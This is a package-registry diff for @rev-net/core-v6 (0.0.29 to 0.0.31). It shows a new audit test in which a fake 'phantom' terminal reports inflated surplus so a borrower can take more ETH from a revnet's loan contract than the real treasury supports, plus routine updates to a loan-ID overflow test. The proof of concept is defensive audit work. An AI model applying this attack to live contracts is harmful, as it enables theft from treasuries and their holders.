@rev-net/core-v6 0.0.29 → 0.0.31
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/ADMINISTRATION.md +19 -9
- package/ARCHITECTURE.md +3 -0
- package/AUDIT_INSTRUCTIONS.md +11 -1
- package/CHANGELOG.md +26 -0
- package/README.md +1 -0
- package/RISKS.md +28 -4
- package/SKILLS.md +2 -1
- package/USER_JOURNEYS.md +28 -3
- package/package.json +8 -8
- package/references/operations.md +1 -1
- package/script/Deploy.s.sol +26 -4
- package/src/REVDeployer.sol +4 -2
- package/src/REVHiddenTokens.sol +149 -0
- package/src/REVLoans.sol +192 -199
- package/src/REVOwner.sol +51 -14
- package/src/interfaces/IREVHiddenTokens.sol +53 -0
- package/src/interfaces/IREVLoans.sol +8 -6
- package/test/REV.integrations.t.sol +12 -2
- package/test/REVAutoIssuanceFuzz.t.sol +12 -2
- package/test/REVDeployerRegressions.t.sol +14 -3
- package/test/REVInvincibility.t.sol +27 -8
- package/test/REVInvincibilityHandler.sol +1 -1
- package/test/REVLifecycle.t.sol +14 -3
- package/test/REVLoans.invariants.t.sol +15 -4
- package/test/REVLoansAttacks.t.sol +19 -7
- package/test/REVLoansFeeRecovery.t.sol +24 -13
- package/test/REVLoansFindings.t.sol +16 -5
- package/test/REVLoansRegressions.t.sol +15 -4
- package/test/REVLoansSourceFeeRecovery.t.sol +16 -5
- package/test/REVLoansSourced.t.sol +60 -25
- package/test/REVLoansUnSourced.t.sol +15 -4
- package/test/TestBurnHeldTokens.t.sol +14 -3
- package/test/TestCEIPattern.t.sol +19 -7
- package/test/TestCashOutCallerValidation.t.sol +15 -4
- package/test/TestConversionDocumentation.t.sol +14 -3
- package/test/TestCrossCurrencyReclaim.t.sol +14 -3
- package/test/TestCrossSourceReallocation.t.sol +15 -4
- package/test/TestERC2771MetaTx.t.sol +18 -5
- package/test/TestEmptyBuybackSpecs.t.sol +14 -3
- package/test/TestFlashLoanSurplus.t.sol +15 -4
- package/test/TestHiddenTokens.t.sol +431 -0
- package/test/TestHookArrayOOB.t.sol +14 -3
- package/test/TestLiquidationBehavior.t.sol +16 -5
- package/test/TestLoanSourceRotation.t.sol +20 -7
- package/test/TestLoansCashOutDelay.t.sol +18 -7
- package/test/TestLongTailEconomics.t.sol +14 -3
- package/test/TestLowFindings.t.sol +25 -9
- package/test/TestMixedFixes.t.sol +19 -8
- package/test/TestPermit2Signatures.t.sol +15 -4
- package/test/TestReallocationSandwich.t.sol +16 -4
- package/test/TestRevnetRegressions.t.sol +16 -5
- package/test/TestSplitWeightAdjustment.t.sol +16 -4
- package/test/TestSplitWeightE2E.t.sol +18 -4
- package/test/TestSplitWeightFork.t.sol +16 -3
- package/test/TestStageTransitionBorrowable.t.sol +14 -3
- package/test/TestSwapTerminalPermission.t.sol +14 -3
- package/test/TestUint112Overflow.t.sol +15 -4
- package/test/TestZeroAmountLoanGuard.t.sol +15 -4
- package/test/TestZeroRepayment.t.sol +15 -4
- package/test/audit/CodexPhantomSurplusTerminal.t.sol +367 -0
- package/test/audit/LoanIdOverflowGuard.t.sol +16 -5
- package/test/audit/NemesisOperatorDelegation.t.sol +289 -0
- package/test/fork/ForkTestBase.sol +18 -4
- package/test/fork/TestLoanBorrowFork.t.sol +2 -1
- package/test/fork/TestLoanERC20Fork.t.sol +4 -2
- package/test/fork/TestLoanTransferFork.t.sol +12 -2
- package/test/helpers/MaliciousContracts.sol +1 -1
- package/test/mock/MockBuybackCashOutRecorder.sol +2 -0
- package/test/mock/MockBuybackDataHook.sol +3 -1
- package/test/mock/MockBuybackDataHookMintPath.sol +2 -0
- package/test/mock/MockSuckerRegistry.sol +17 -0
- package/test/regression/TestBurnPermissionRequired.t.sol +16 -5
- package/test/regression/TestCashOutBuybackFeeLeak.t.sol +16 -3
- package/test/regression/TestCrossRevnetLiquidation.t.sol +14 -3
- package/test/regression/TestCumulativeLoanCounter.t.sol +15 -4
- package/test/regression/TestLiquidateGapHandling.t.sol +15 -4
- package/test/regression/TestZeroPriceFeed.t.sol +17 -6
|
@@ -0,0 +1,367 @@
|
|
|
1
|
+
// SPDX-License-Identifier: MIT
|
|
2
|
+
pragma solidity 0.8.28;
|
|
3
|
+
|
|
4
|
+
import "forge-std/Test.sol";
|
|
5
|
+
import "@bananapus/core-v6/test/helpers/TestBaseWorkflow.sol";
|
|
6
|
+
import "@bananapus/core-v6/script/helpers/CoreDeploymentLib.sol";
|
|
7
|
+
import "@bananapus/721-hook-v6/script/helpers/Hook721DeploymentLib.sol";
|
|
8
|
+
import "@bananapus/suckers-v6/script/helpers/SuckerDeploymentLib.sol";
|
|
9
|
+
import "@croptop/core-v6/script/helpers/CroptopDeploymentLib.sol";
|
|
10
|
+
import "@bananapus/router-terminal-v6/script/helpers/RouterTerminalDeploymentLib.sol";
|
|
11
|
+
import "@croptop/core-v6/src/CTPublisher.sol";
|
|
12
|
+
import "@bananapus/suckers-v6/src/JBSuckerRegistry.sol";
|
|
13
|
+
import "@bananapus/721-hook-v6/src/JB721TiersHook.sol";
|
|
14
|
+
import "@bananapus/721-hook-v6/src/JB721TiersHookDeployer.sol";
|
|
15
|
+
import "@bananapus/721-hook-v6/src/JB721TiersHookStore.sol";
|
|
16
|
+
import "@bananapus/721-hook-v6/src/JB721CheckpointsDeployer.sol";
|
|
17
|
+
import {IJB721CheckpointsDeployer} from "@bananapus/721-hook-v6/src/interfaces/IJB721CheckpointsDeployer.sol";
|
|
18
|
+
import "@bananapus/address-registry-v6/src/JBAddressRegistry.sol";
|
|
19
|
+
import "@bananapus/address-registry-v6/src/interfaces/IJBAddressRegistry.sol";
|
|
20
|
+
import "@bananapus/buyback-hook-v6/src/interfaces/IJBBuybackHookRegistry.sol";
|
|
21
|
+
import "@bananapus/core-v6/src/interfaces/IJBPermissions.sol";
|
|
22
|
+
import "@bananapus/core-v6/src/interfaces/IJBTerminal.sol";
|
|
23
|
+
import "@bananapus/core-v6/src/interfaces/IJBPayoutTerminal.sol";
|
|
24
|
+
import "@bananapus/core-v6/src/libraries/JBCashOuts.sol";
|
|
25
|
+
import "@bananapus/core-v6/src/libraries/JBConstants.sol";
|
|
26
|
+
import "@bananapus/core-v6/src/structs/JBAccountingContext.sol";
|
|
27
|
+
import "@bananapus/core-v6/src/structs/JBPermissionsData.sol";
|
|
28
|
+
import "@bananapus/core-v6/src/structs/JBTerminalConfig.sol";
|
|
29
|
+
import "@bananapus/core-v6/src/structs/JBSplit.sol";
|
|
30
|
+
import "@bananapus/core-v6/src/structs/JBRuleset.sol";
|
|
31
|
+
import "@bananapus/core-v6/src/structs/JBPayHookSpecification.sol";
|
|
32
|
+
import "@bananapus/permission-ids-v6/src/JBPermissionIds.sol";
|
|
33
|
+
import "@bananapus/suckers-v6/src/structs/JBSuckerDeployerConfig.sol";
|
|
34
|
+
import "@openzeppelin/contracts/utils/introspection/ERC165.sol";
|
|
35
|
+
|
|
36
|
+
import {MockBuybackDataHook} from "../mock/MockBuybackDataHook.sol";
|
|
37
|
+
import {REVEmpty721Config} from "../helpers/REVEmpty721Config.sol";
|
|
38
|
+
import {REVDeployer} from "../../src/REVDeployer.sol";
|
|
39
|
+
import {REVLoans} from "../../src/REVLoans.sol";
|
|
40
|
+
import {REVOwner} from "../../src/REVOwner.sol";
|
|
41
|
+
import {IREVLoans} from "../../src/interfaces/IREVLoans.sol";
|
|
42
|
+
import {IREVDeployer} from "../../src/interfaces/IREVDeployer.sol";
|
|
43
|
+
import {REVConfig} from "../../src/structs/REVConfig.sol";
|
|
44
|
+
import {REVDescription} from "../../src/structs/REVDescription.sol";
|
|
45
|
+
import {REVLoanSource} from "../../src/structs/REVLoanSource.sol";
|
|
46
|
+
import {REVStageConfig} from "../../src/structs/REVStageConfig.sol";
|
|
47
|
+
import {REVAutoIssuance} from "../../src/structs/REVStageConfig.sol";
|
|
48
|
+
import {REVSuckerDeploymentConfig} from "../../src/structs/REVSuckerDeploymentConfig.sol";
|
|
49
|
+
import {MockSuckerRegistry} from "../mock/MockSuckerRegistry.sol";
|
|
50
|
+
|
|
51
|
+
contract PhantomSurplusTerminal is ERC165, IJBPayoutTerminal {
|
|
52
|
+
uint256 public fakeSurplus;
|
|
53
|
+
|
|
54
|
+
function setFakeSurplus(uint256 newFakeSurplus) external {
|
|
55
|
+
fakeSurplus = newFakeSurplus;
|
|
56
|
+
}
|
|
57
|
+
|
|
58
|
+
function currentSurplusOf(uint256, address[] calldata, uint256, uint256) external view override returns (uint256) {
|
|
59
|
+
return fakeSurplus;
|
|
60
|
+
}
|
|
61
|
+
|
|
62
|
+
function accountingContextForTokenOf(uint256, address) external pure override returns (JBAccountingContext memory) {
|
|
63
|
+
return JBAccountingContext({
|
|
64
|
+
token: JBConstants.NATIVE_TOKEN, decimals: 18, currency: uint32(uint160(JBConstants.NATIVE_TOKEN))
|
|
65
|
+
});
|
|
66
|
+
}
|
|
67
|
+
|
|
68
|
+
function accountingContextsOf(uint256) external pure override returns (JBAccountingContext[] memory) {
|
|
69
|
+
return new JBAccountingContext[](0);
|
|
70
|
+
}
|
|
71
|
+
|
|
72
|
+
function addAccountingContextsFor(uint256, JBAccountingContext[] calldata) external override {}
|
|
73
|
+
|
|
74
|
+
function addToBalanceOf(
|
|
75
|
+
uint256,
|
|
76
|
+
address,
|
|
77
|
+
uint256,
|
|
78
|
+
bool,
|
|
79
|
+
string calldata,
|
|
80
|
+
bytes calldata
|
|
81
|
+
)
|
|
82
|
+
external
|
|
83
|
+
payable
|
|
84
|
+
override
|
|
85
|
+
{}
|
|
86
|
+
|
|
87
|
+
function migrateBalanceOf(uint256, address, IJBTerminal) external pure override returns (uint256) {
|
|
88
|
+
return 0;
|
|
89
|
+
}
|
|
90
|
+
|
|
91
|
+
function pay(
|
|
92
|
+
uint256,
|
|
93
|
+
address,
|
|
94
|
+
uint256,
|
|
95
|
+
address,
|
|
96
|
+
uint256,
|
|
97
|
+
string calldata,
|
|
98
|
+
bytes calldata
|
|
99
|
+
)
|
|
100
|
+
external
|
|
101
|
+
payable
|
|
102
|
+
override
|
|
103
|
+
returns (uint256)
|
|
104
|
+
{
|
|
105
|
+
return 0;
|
|
106
|
+
}
|
|
107
|
+
|
|
108
|
+
function previewPayFor(
|
|
109
|
+
uint256,
|
|
110
|
+
address,
|
|
111
|
+
uint256,
|
|
112
|
+
address,
|
|
113
|
+
bytes calldata
|
|
114
|
+
)
|
|
115
|
+
external
|
|
116
|
+
pure
|
|
117
|
+
override
|
|
118
|
+
returns (JBRuleset memory, uint256, uint256, JBPayHookSpecification[] memory)
|
|
119
|
+
{
|
|
120
|
+
JBRuleset memory ruleset;
|
|
121
|
+
return (ruleset, 0, 0, new JBPayHookSpecification[](0));
|
|
122
|
+
}
|
|
123
|
+
|
|
124
|
+
function sendPayoutsOf(uint256, address, uint256, uint256, uint256) external pure override returns (uint256) {
|
|
125
|
+
return 0;
|
|
126
|
+
}
|
|
127
|
+
|
|
128
|
+
function supportsInterface(bytes4 interfaceId) public view override(ERC165, IERC165) returns (bool) {
|
|
129
|
+
return interfaceId == type(IJBTerminal).interfaceId || interfaceId == type(IJBPayoutTerminal).interfaceId
|
|
130
|
+
|| super.supportsInterface(interfaceId);
|
|
131
|
+
}
|
|
132
|
+
|
|
133
|
+
function useAllowanceOf(
|
|
134
|
+
uint256,
|
|
135
|
+
address,
|
|
136
|
+
uint256,
|
|
137
|
+
uint256,
|
|
138
|
+
uint256,
|
|
139
|
+
address payable,
|
|
140
|
+
address payable,
|
|
141
|
+
string calldata
|
|
142
|
+
)
|
|
143
|
+
external
|
|
144
|
+
pure
|
|
145
|
+
override
|
|
146
|
+
returns (uint256)
|
|
147
|
+
{
|
|
148
|
+
return 0;
|
|
149
|
+
}
|
|
150
|
+
}
|
|
151
|
+
|
|
152
|
+
contract CodexPhantomSurplusTerminalTest is TestBaseWorkflow {
|
|
153
|
+
bytes32 internal constant REV_DEPLOYER_SALT = "REVDeployer";
|
|
154
|
+
address internal constant TRUSTED_FORWARDER = 0xB2b5841DBeF766d4b521221732F9B618fCf34A87;
|
|
155
|
+
|
|
156
|
+
address internal USER = makeAddr("user");
|
|
157
|
+
|
|
158
|
+
REVDeployer internal REV_DEPLOYER;
|
|
159
|
+
REVOwner internal REV_OWNER;
|
|
160
|
+
REVLoans internal LOANS;
|
|
161
|
+
JB721TiersHook internal EXAMPLE_HOOK;
|
|
162
|
+
IJB721TiersHookDeployer internal HOOK_DEPLOYER;
|
|
163
|
+
IJB721TiersHookStore internal HOOK_STORE;
|
|
164
|
+
IJBAddressRegistry internal ADDRESS_REGISTRY;
|
|
165
|
+
IJBSuckerRegistry internal SUCKER_REGISTRY;
|
|
166
|
+
CTPublisher internal PUBLISHER;
|
|
167
|
+
MockBuybackDataHook internal MOCK_BUYBACK;
|
|
168
|
+
PhantomSurplusTerminal internal PHANTOM_TERMINAL;
|
|
169
|
+
|
|
170
|
+
uint256 internal FEE_PROJECT_ID;
|
|
171
|
+
uint256 internal REVNET_ID;
|
|
172
|
+
|
|
173
|
+
function setUp() public override {
|
|
174
|
+
super.setUp();
|
|
175
|
+
|
|
176
|
+
FEE_PROJECT_ID = jbProjects().createFor(multisig());
|
|
177
|
+
SUCKER_REGISTRY = new JBSuckerRegistry(jbDirectory(), jbPermissions(), multisig(), address(0));
|
|
178
|
+
HOOK_STORE = new JB721TiersHookStore();
|
|
179
|
+
EXAMPLE_HOOK = new JB721TiersHook(
|
|
180
|
+
jbDirectory(),
|
|
181
|
+
jbPermissions(),
|
|
182
|
+
jbPrices(),
|
|
183
|
+
jbRulesets(),
|
|
184
|
+
HOOK_STORE,
|
|
185
|
+
jbSplits(),
|
|
186
|
+
IJB721CheckpointsDeployer(address(new JB721CheckpointsDeployer())),
|
|
187
|
+
multisig()
|
|
188
|
+
);
|
|
189
|
+
ADDRESS_REGISTRY = new JBAddressRegistry();
|
|
190
|
+
HOOK_DEPLOYER = new JB721TiersHookDeployer(EXAMPLE_HOOK, HOOK_STORE, ADDRESS_REGISTRY, multisig());
|
|
191
|
+
PUBLISHER = new CTPublisher(jbDirectory(), jbPermissions(), FEE_PROJECT_ID, multisig());
|
|
192
|
+
MOCK_BUYBACK = new MockBuybackDataHook();
|
|
193
|
+
LOANS = new REVLoans({
|
|
194
|
+
controller: jbController(),
|
|
195
|
+
suckerRegistry: IJBSuckerRegistry(address(new MockSuckerRegistry())),
|
|
196
|
+
revId: FEE_PROJECT_ID,
|
|
197
|
+
owner: address(this),
|
|
198
|
+
permit2: permit2(),
|
|
199
|
+
trustedForwarder: TRUSTED_FORWARDER
|
|
200
|
+
});
|
|
201
|
+
REV_OWNER = new REVOwner(
|
|
202
|
+
IJBBuybackHookRegistry(address(MOCK_BUYBACK)),
|
|
203
|
+
jbDirectory(),
|
|
204
|
+
FEE_PROJECT_ID,
|
|
205
|
+
SUCKER_REGISTRY,
|
|
206
|
+
address(LOANS),
|
|
207
|
+
address(0)
|
|
208
|
+
);
|
|
209
|
+
REV_DEPLOYER = new REVDeployer{salt: REV_DEPLOYER_SALT}(
|
|
210
|
+
jbController(),
|
|
211
|
+
SUCKER_REGISTRY,
|
|
212
|
+
FEE_PROJECT_ID,
|
|
213
|
+
HOOK_DEPLOYER,
|
|
214
|
+
PUBLISHER,
|
|
215
|
+
IJBBuybackHookRegistry(address(MOCK_BUYBACK)),
|
|
216
|
+
address(LOANS),
|
|
217
|
+
TRUSTED_FORWARDER,
|
|
218
|
+
address(REV_OWNER)
|
|
219
|
+
);
|
|
220
|
+
REV_OWNER.setDeployer(IREVDeployer(REV_DEPLOYER));
|
|
221
|
+
PHANTOM_TERMINAL = new PhantomSurplusTerminal();
|
|
222
|
+
|
|
223
|
+
vm.prank(multisig());
|
|
224
|
+
jbProjects().approve(address(REV_DEPLOYER), FEE_PROJECT_ID);
|
|
225
|
+
|
|
226
|
+
_deployFeeProject();
|
|
227
|
+
REVNET_ID = _deployRevnetWithPhantomTerminal();
|
|
228
|
+
vm.deal(USER, 200 ether);
|
|
229
|
+
}
|
|
230
|
+
|
|
231
|
+
function test_registeredPhantomTerminalInflatesBorrowAgainstRealTreasury() public {
|
|
232
|
+
uint256 realSurplus = 100 ether;
|
|
233
|
+
uint256 phantomSurplus = 100 ether;
|
|
234
|
+
|
|
235
|
+
PHANTOM_TERMINAL.setFakeSurplus(phantomSurplus);
|
|
236
|
+
|
|
237
|
+
vm.prank(USER);
|
|
238
|
+
uint256 userTokens = jbMultiTerminal().pay{value: realSurplus}(
|
|
239
|
+
REVNET_ID, JBConstants.NATIVE_TOKEN, realSurplus, USER, 0, "", ""
|
|
240
|
+
);
|
|
241
|
+
|
|
242
|
+
uint256 collateral = userTokens / 10;
|
|
243
|
+
uint256 taxRate = 5000;
|
|
244
|
+
|
|
245
|
+
uint256 honestBorrowable = JBCashOuts.cashOutFrom({
|
|
246
|
+
surplus: realSurplus, cashOutCount: collateral, totalSupply: userTokens, cashOutTaxRate: taxRate
|
|
247
|
+
});
|
|
248
|
+
|
|
249
|
+
uint256 inflatedBorrowable =
|
|
250
|
+
LOANS.borrowableAmountFrom(REVNET_ID, collateral, 18, uint32(uint160(JBConstants.NATIVE_TOKEN)));
|
|
251
|
+
|
|
252
|
+
assertGt(inflatedBorrowable, honestBorrowable, "phantom terminal should inflate borrow quote");
|
|
253
|
+
assertLe(inflatedBorrowable, realSurplus, "PoC should remain payable by the honest terminal");
|
|
254
|
+
|
|
255
|
+
_grantBurnPermission(USER, REVNET_ID, address(LOANS));
|
|
256
|
+
|
|
257
|
+
uint256 balanceBefore = USER.balance;
|
|
258
|
+
vm.prank(USER);
|
|
259
|
+
LOANS.borrowFrom(
|
|
260
|
+
REVNET_ID,
|
|
261
|
+
REVLoanSource({token: JBConstants.NATIVE_TOKEN, terminal: jbMultiTerminal()}),
|
|
262
|
+
inflatedBorrowable,
|
|
263
|
+
collateral,
|
|
264
|
+
payable(USER),
|
|
265
|
+
25,
|
|
266
|
+
USER
|
|
267
|
+
);
|
|
268
|
+
|
|
269
|
+
uint256 balanceDelta = USER.balance - balanceBefore;
|
|
270
|
+
assertGt(balanceDelta, honestBorrowable, "borrower extracts more ETH than real treasury surplus supports");
|
|
271
|
+
}
|
|
272
|
+
|
|
273
|
+
function _deployFeeProject() internal {
|
|
274
|
+
JBAccountingContext[] memory acc = new JBAccountingContext[](1);
|
|
275
|
+
acc[0] = JBAccountingContext({
|
|
276
|
+
token: JBConstants.NATIVE_TOKEN, decimals: 18, currency: uint32(uint160(JBConstants.NATIVE_TOKEN))
|
|
277
|
+
});
|
|
278
|
+
JBTerminalConfig[] memory tc = new JBTerminalConfig[](1);
|
|
279
|
+
tc[0] = JBTerminalConfig({terminal: jbMultiTerminal(), accountingContextsToAccept: acc});
|
|
280
|
+
REVStageConfig[] memory stages = new REVStageConfig[](1);
|
|
281
|
+
stages[0] = REVStageConfig({
|
|
282
|
+
startsAtOrAfter: uint40(block.timestamp),
|
|
283
|
+
autoIssuances: new REVAutoIssuance[](0),
|
|
284
|
+
splitPercent: 0,
|
|
285
|
+
splits: new JBSplit[](0),
|
|
286
|
+
initialIssuance: uint112(1000e18),
|
|
287
|
+
issuanceCutFrequency: 0,
|
|
288
|
+
issuanceCutPercent: 0,
|
|
289
|
+
cashOutTaxRate: 0,
|
|
290
|
+
extraMetadata: 0
|
|
291
|
+
});
|
|
292
|
+
REVConfig memory feeConfig = REVConfig({
|
|
293
|
+
description: REVDescription("Fee Revnet", "FEE", "", "FEE_TOKEN"),
|
|
294
|
+
baseCurrency: uint32(uint160(JBConstants.NATIVE_TOKEN)),
|
|
295
|
+
splitOperator: multisig(),
|
|
296
|
+
stageConfigurations: stages
|
|
297
|
+
});
|
|
298
|
+
vm.prank(multisig());
|
|
299
|
+
REV_DEPLOYER.deployFor({
|
|
300
|
+
revnetId: FEE_PROJECT_ID,
|
|
301
|
+
configuration: feeConfig,
|
|
302
|
+
terminalConfigurations: tc,
|
|
303
|
+
suckerDeploymentConfiguration: REVSuckerDeploymentConfig({
|
|
304
|
+
deployerConfigurations: new JBSuckerDeployerConfig[](0), salt: keccak256("FEE")
|
|
305
|
+
}),
|
|
306
|
+
tiered721HookConfiguration: REVEmpty721Config.empty721Config(uint32(uint160(JBConstants.NATIVE_TOKEN))),
|
|
307
|
+
allowedPosts: REVEmpty721Config.emptyAllowedPosts()
|
|
308
|
+
});
|
|
309
|
+
}
|
|
310
|
+
|
|
311
|
+
function _deployRevnetWithPhantomTerminal() internal returns (uint256 revnetId) {
|
|
312
|
+
JBAccountingContext[] memory acc = new JBAccountingContext[](1);
|
|
313
|
+
acc[0] = JBAccountingContext({
|
|
314
|
+
token: JBConstants.NATIVE_TOKEN, decimals: 18, currency: uint32(uint160(JBConstants.NATIVE_TOKEN))
|
|
315
|
+
});
|
|
316
|
+
JBTerminalConfig[] memory tc = new JBTerminalConfig[](2);
|
|
317
|
+
tc[0] = JBTerminalConfig({terminal: jbMultiTerminal(), accountingContextsToAccept: acc});
|
|
318
|
+
tc[1] = JBTerminalConfig({terminal: PHANTOM_TERMINAL, accountingContextsToAccept: acc});
|
|
319
|
+
|
|
320
|
+
REVStageConfig[] memory stages = new REVStageConfig[](1);
|
|
321
|
+
JBSplit[] memory splits = new JBSplit[](1);
|
|
322
|
+
splits[0].beneficiary = payable(multisig());
|
|
323
|
+
splits[0].percent = 10_000;
|
|
324
|
+
stages[0] = REVStageConfig({
|
|
325
|
+
startsAtOrAfter: uint40(block.timestamp),
|
|
326
|
+
autoIssuances: new REVAutoIssuance[](0),
|
|
327
|
+
splitPercent: 0,
|
|
328
|
+
splits: splits,
|
|
329
|
+
initialIssuance: uint112(1000e18),
|
|
330
|
+
issuanceCutFrequency: 0,
|
|
331
|
+
issuanceCutPercent: 0,
|
|
332
|
+
cashOutTaxRate: 5000,
|
|
333
|
+
extraMetadata: 0
|
|
334
|
+
});
|
|
335
|
+
|
|
336
|
+
REVConfig memory config = REVConfig({
|
|
337
|
+
description: REVDescription("Phantom", "PHM", "", "PHM_TOKEN"),
|
|
338
|
+
baseCurrency: uint32(uint160(JBConstants.NATIVE_TOKEN)),
|
|
339
|
+
splitOperator: multisig(),
|
|
340
|
+
stageConfigurations: stages
|
|
341
|
+
});
|
|
342
|
+
|
|
343
|
+
vm.prank(multisig());
|
|
344
|
+
(revnetId,) = REV_DEPLOYER.deployFor({
|
|
345
|
+
revnetId: 0,
|
|
346
|
+
configuration: config,
|
|
347
|
+
terminalConfigurations: tc,
|
|
348
|
+
suckerDeploymentConfiguration: REVSuckerDeploymentConfig({
|
|
349
|
+
deployerConfigurations: new JBSuckerDeployerConfig[](0), salt: keccak256("PHANTOM")
|
|
350
|
+
}),
|
|
351
|
+
tiered721HookConfiguration: REVEmpty721Config.empty721Config(uint32(uint160(JBConstants.NATIVE_TOKEN))),
|
|
352
|
+
allowedPosts: REVEmpty721Config.emptyAllowedPosts()
|
|
353
|
+
});
|
|
354
|
+
}
|
|
355
|
+
|
|
356
|
+
function _grantBurnPermission(address account, uint256 revnetId, address operator) internal {
|
|
357
|
+
uint8[] memory permissionIds = new uint8[](1);
|
|
358
|
+
permissionIds[0] = JBPermissionIds.BURN_TOKENS;
|
|
359
|
+
|
|
360
|
+
vm.prank(account);
|
|
361
|
+
jbPermissions()
|
|
362
|
+
.setPermissionsFor(
|
|
363
|
+
account,
|
|
364
|
+
JBPermissionsData({operator: operator, projectId: uint56(revnetId), permissionIds: permissionIds})
|
|
365
|
+
);
|
|
366
|
+
}
|
|
367
|
+
}
|
|
@@ -38,12 +38,15 @@ import {JBSuckerRegistry} from "@bananapus/suckers-v6/src/JBSuckerRegistry.sol";
|
|
|
38
38
|
import {JB721TiersHookDeployer} from "@bananapus/721-hook-v6/src/JB721TiersHookDeployer.sol";
|
|
39
39
|
import {JB721TiersHook} from "@bananapus/721-hook-v6/src/JB721TiersHook.sol";
|
|
40
40
|
import {JB721TiersHookStore} from "@bananapus/721-hook-v6/src/JB721TiersHookStore.sol";
|
|
41
|
+
import {JB721CheckpointsDeployer} from "@bananapus/721-hook-v6/src/JB721CheckpointsDeployer.sol";
|
|
42
|
+
import {IJB721CheckpointsDeployer} from "@bananapus/721-hook-v6/src/interfaces/IJB721CheckpointsDeployer.sol";
|
|
41
43
|
import {JBAddressRegistry} from "@bananapus/address-registry-v6/src/JBAddressRegistry.sol";
|
|
42
44
|
import {IJBAddressRegistry} from "@bananapus/address-registry-v6/src/interfaces/IJBAddressRegistry.sol";
|
|
43
45
|
// Helper that provides empty 721 tier configs for revnet deployment.
|
|
44
46
|
import {REVEmpty721Config} from "../helpers/REVEmpty721Config.sol";
|
|
45
47
|
import {REVOwner} from "../../src/REVOwner.sol";
|
|
46
48
|
import {IREVDeployer} from "../../src/interfaces/IREVDeployer.sol";
|
|
49
|
+
import {MockSuckerRegistry} from "../mock/MockSuckerRegistry.sol";
|
|
47
50
|
|
|
48
51
|
/// @notice Regression tests for the loan ID overflow guard in REVLoans.
|
|
49
52
|
/// @dev The totalLoansBorrowedFor counter must never exceed _ONE_TRILLION (1e12).
|
|
@@ -129,7 +132,14 @@ contract LoanIdOverflowGuard is TestBaseWorkflow {
|
|
|
129
132
|
|
|
130
133
|
// Deploy the example 721 hook (needed as the implementation for the deployer).
|
|
131
134
|
EXAMPLE_HOOK = new JB721TiersHook(
|
|
132
|
-
jbDirectory(),
|
|
135
|
+
jbDirectory(),
|
|
136
|
+
jbPermissions(),
|
|
137
|
+
jbPrices(),
|
|
138
|
+
jbRulesets(),
|
|
139
|
+
HOOK_STORE,
|
|
140
|
+
jbSplits(),
|
|
141
|
+
IJB721CheckpointsDeployer(address(new JB721CheckpointsDeployer())),
|
|
142
|
+
multisig()
|
|
133
143
|
);
|
|
134
144
|
|
|
135
145
|
// Deploy the address registry (used by the hook deployer).
|
|
@@ -155,7 +165,7 @@ contract LoanIdOverflowGuard is TestBaseWorkflow {
|
|
|
155
165
|
// Deploy the REVLoans contract.
|
|
156
166
|
LOANS_CONTRACT = new REVLoans({
|
|
157
167
|
controller: jbController(),
|
|
158
|
-
|
|
168
|
+
suckerRegistry: IJBSuckerRegistry(address(new MockSuckerRegistry())),
|
|
159
169
|
revId: FEE_PROJECT_ID,
|
|
160
170
|
owner: address(this),
|
|
161
171
|
permit2: permit2(),
|
|
@@ -168,7 +178,8 @@ contract LoanIdOverflowGuard is TestBaseWorkflow {
|
|
|
168
178
|
jbDirectory(),
|
|
169
179
|
FEE_PROJECT_ID,
|
|
170
180
|
SUCKER_REGISTRY,
|
|
171
|
-
address(LOANS_CONTRACT)
|
|
181
|
+
address(LOANS_CONTRACT),
|
|
182
|
+
address(0)
|
|
172
183
|
);
|
|
173
184
|
|
|
174
185
|
REV_DEPLOYER = new REVDeployer{salt: REV_DEPLOYER_SALT}(
|
|
@@ -349,7 +360,7 @@ contract LoanIdOverflowGuard is TestBaseWorkflow {
|
|
|
349
360
|
|
|
350
361
|
// Borrow with minimum fee percent (25 = 2.5%).
|
|
351
362
|
vm.prank(user);
|
|
352
|
-
(loanId,) = LOANS_CONTRACT.borrowFrom(REVNET_ID, source, 0, tokenCount, payable(user), 25);
|
|
363
|
+
(loanId,) = LOANS_CONTRACT.borrowFrom(REVNET_ID, source, 0, tokenCount, payable(user), 25, user);
|
|
353
364
|
}
|
|
354
365
|
|
|
355
366
|
/// @dev Computes the storage slot for totalLoansBorrowedFor[revnetId].
|
|
@@ -401,7 +412,7 @@ contract LoanIdOverflowGuard is TestBaseWorkflow {
|
|
|
401
412
|
|
|
402
413
|
// Attempt to borrow -- should revert because the counter is at the limit.
|
|
403
414
|
vm.prank(USER);
|
|
404
|
-
LOANS_CONTRACT.borrowFrom(REVNET_ID, source, 0, tokens, payable(USER), 25);
|
|
415
|
+
LOANS_CONTRACT.borrowFrom(REVNET_ID, source, 0, tokens, payable(USER), 25, USER);
|
|
405
416
|
}
|
|
406
417
|
|
|
407
418
|
// ---------------------------------------------------------------
|